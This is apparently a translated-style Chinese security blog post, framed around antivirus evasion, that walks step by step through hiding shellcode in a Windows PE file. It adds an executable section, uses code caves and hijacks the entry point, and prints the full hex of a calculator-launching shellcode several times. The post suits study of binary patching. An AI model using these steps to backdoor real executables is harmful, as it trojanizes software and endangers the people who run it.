PE后门初探
简单的讲,就是在一个pe文件里去加一个shellcode的执行。
笔者是二进制新人,中间有一段踩坑的记录我也写上去了,算是记录一下🥲。
首先要知道的是怎么去在pe文件中添加shellcode。
新增节
我们知道,pe文件有很多节(section),可以尝试用pe-bear这个工具去新增一个节,然后把shellcode放进去就好
右键 然后新增节就行,记得要选上可读可写可执行才能成功。
这样我们就有了一个空的节,可以直接把shellcode放进去了
我们这里用这个shellcode,是启动计算器的一个shellcode
x 89e583ec2031db648b5b308b5b0c8b5b1c8b1b8b1b8b43088945fc8b583c01c38b5b7801c38b7b2001c7897df88b4b2401c1894df48b531c01c28955f08b53148955eceb3231c08b55ec8b7df88b751831c9fc8b3c87037dfc6683c108f3a674054039d072e48b4df48b55f0668b04418b04820345fcc3ba78786563c1ea08526857696e45896518e8b8ffffff31c951682e6578656863616c6389e3415153ffd031c9b901657373c1e908516850726f636845786974896518e887ffffff31d252ffd0
但是程序肯定不会执行我们这个新加入的section,所以我们最简单的办法是可以把程序的入口点改成我们这个地址,先尝试一下。
01
直接修改入口地址
这里我们直接把test头的虚拟地址,复制到entry point里面去,这样就好了
保存一下之后打开,我们就能发现,打开之后就是弹了一个计算器
但是这样不就没有执行这个程序原来的功能吗,还是不行,这样我们其实可以通过od去修改他里面的执行流程。
有些图虽然用的putty.exe
,但是最后换成那个批量更改图大小的工具去进行实验了。
02
od-shellcode最后跳转
他肯定就会跳转到我们自己的shellcode那里(注意看二进制shellcode),然后我们这边进了od之后单步调试到shellcode那里。
可以看到执行到这个31c9这里就弹计算器
然后到这里的时候就是一个结束程序的apikernel32.exitprocess
,他地址是存在eax寄存器里的,然后最后就call过去了。所以call过去就是退出那个程序,所以要改的话就改这个了,先给他nop了。
然后我们改成jmp到原来最开始的那个入口地址,我们看看最开始的入口地址是多少。
就是基地址加偏移地址401000
jmp过去之后,直接执行,就会发现,程序执行成功咯!
好现在把这个文件保存下来,选中修改后的代码,在其上按鼠标右键,单击“复制到可执行文件”,然后单击“选择”,在出现的新窗口中,右键菜单中单击“保存”即可。然后选择保存路径。就可以了
但是这种程序,直接放到vt上面去的话,直接是过不了的,因为存在可读可执行的section在里面。
代码洞
代码洞(Code Cave)是二进制文件(如 EXE、DLL)中未被使用的空白区域,通常由编译器填充的对齐字节(如 0x90/NOP 指令)或函数删除后留下的空间形成。逆向工程师利用这些区域插入自定义代码(如补丁、Hook 或病毒),而无需扩大文件大小。
不过在代码洞劫持的时候,要注意堆栈平衡以及一些其他的东西,标准做法是。
pushad 就是把寄存器的值放到栈里面去pushfd 把flag的一些东西放到栈里面去shellcodepopfdpopadjmp到原来的入口点
我们这里还是来实验一下
首先要找到代码洞
EgeBalci/Cminer: Cminer is a tool for enumerating the code caves in PE files.
我们就用这个经典工具就好了
可以看到找到了很多代码洞
我们这里找180字节以上的代码洞
来这个洞看看
[#] Cave 2[*] Section: CODE [*] Cave Size: 304 byte.[*] Start Address: 0x43f6d4[*] End Address: 0x43f804[*] File Ofset: 0x3ead4
我们这边就去这个地址看看,先用hxd看看
然后把我们的shellcode写进去,写的时候记得用覆盖式粘贴,要不然会出现问题导致程序无法正常运行。
89e583ec2031db648b5b308b5b0c8b5b1c8b1b8b1b8b43088945fc8b583c01c38b5b7801c38b7b2001c7897df88b4b2401c1894df48b531c01c28955f08b53148955eceb3231c08b55ec8b7df88b751831c9fc8b3c87037dfc6683c108f3a674054039d072e48b4df48b55f0668b04418b04820345fcc3ba78786563c1ea08526857696e45896518e8b8ffffff31c951682e6578656863616c6389e3415153ffd031c9b901657373c1e908516850726f636845786974896518e887ffffff31d252ffd0
前面稍微空几个字节,方便我们写东西。
然后我们先保存一下,可以看到,没有改变程序大小的。
现在还是,我们这里只尝试劫持一下程序的入口点。理论上讲,任何地方都可以劫持,包括点程序的某个按钮,然后触发你的shellcode,这些都能实现。
现在我们把程序放到od里面去,改一下汇编
pushad 就是把寄存器的值放到栈里面去pushfd 把flag的一些东西放到栈里面去shellcodepopfdpopadjmp到原来的入口点
这里是程序的入口点(一般来说都是401000),然后左下角通过搜索功能搜到了刚刚插入的shellcode的地址
现在我们要jmp到shellcode的地址也就是jmp 0043F6ED
,就需要更改5个字节的内容这五个字节就是
mov eax,0x4CA6ECB8ECA64C00
我们可以给他加到自己的shellcode最后面,同时我们还要先pushad和pushfd,这里我们看看这两个对应的shellcode是什么
pushad 60pushfd 9Cpopfd 9Dpopad 61
最后改一下shellcode就是
609C 89e583ec2031db648b5b308b5b0c8b5b1c8b1b8b1b8b43088945fc8b583c01c38b5b7801c38b7b2001c7897df88b4b2401c1894df48b531c01c28955f08b53148955eceb3231c08b55ec8b7df88b751831c9fc8b3c87037dfc6683c108f3a674054039d072e48b4df48b55f0668b04418b04820345fcc3ba78786563c1ea08526857696e45896518e8b8ffffff31c951682e6578656863616c6389e3415153ffd031c9b901657373c1e908516850726f636845786974896518e887ffffff31d252ffd0 9D 61 B8ECA64C00
简单的讲就是
pushadpushfdshellcodepopfdpopad被jmp替代的汇编jmp回去(这个没加到shellcode,一会要自己写)
shellcode前面
shellcode后面
虽然这里我们劫持成功了,但是shellcode里面自带了退出程序的步骤,导致jmp不回去。od又调试不了这个shellcode,所以下面换成xdbg试一下。
还是先找到shellcode的位置004C7B00
然后开头加上pushad pushfd
在004C7AFE
回到程序入口点401000
,记录一下原来的汇编mov eax, 0x4CA6EC
,然后改成jmp 0x004C7AFE
一直步过去找shellcode结束的位置。
通过下图可以看到,这里call的就是计算器了,剩下的汇编调试一下看寄存器就知道是从dll里面去获取exit进程的函数,所以这个call之后的东西我们直接nop掉就好,换成下面的汇编代码。
popfdpopadmov eax, 0x4CA6ECjmp 0x00401005那个mov是被我们最开始用jmp替换的
最后打个补丁
成功
原文始发于微信公众号(The One安全):【免杀对抗】PE文件藏后门:从零开始打造隐蔽Shellcode植入术
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论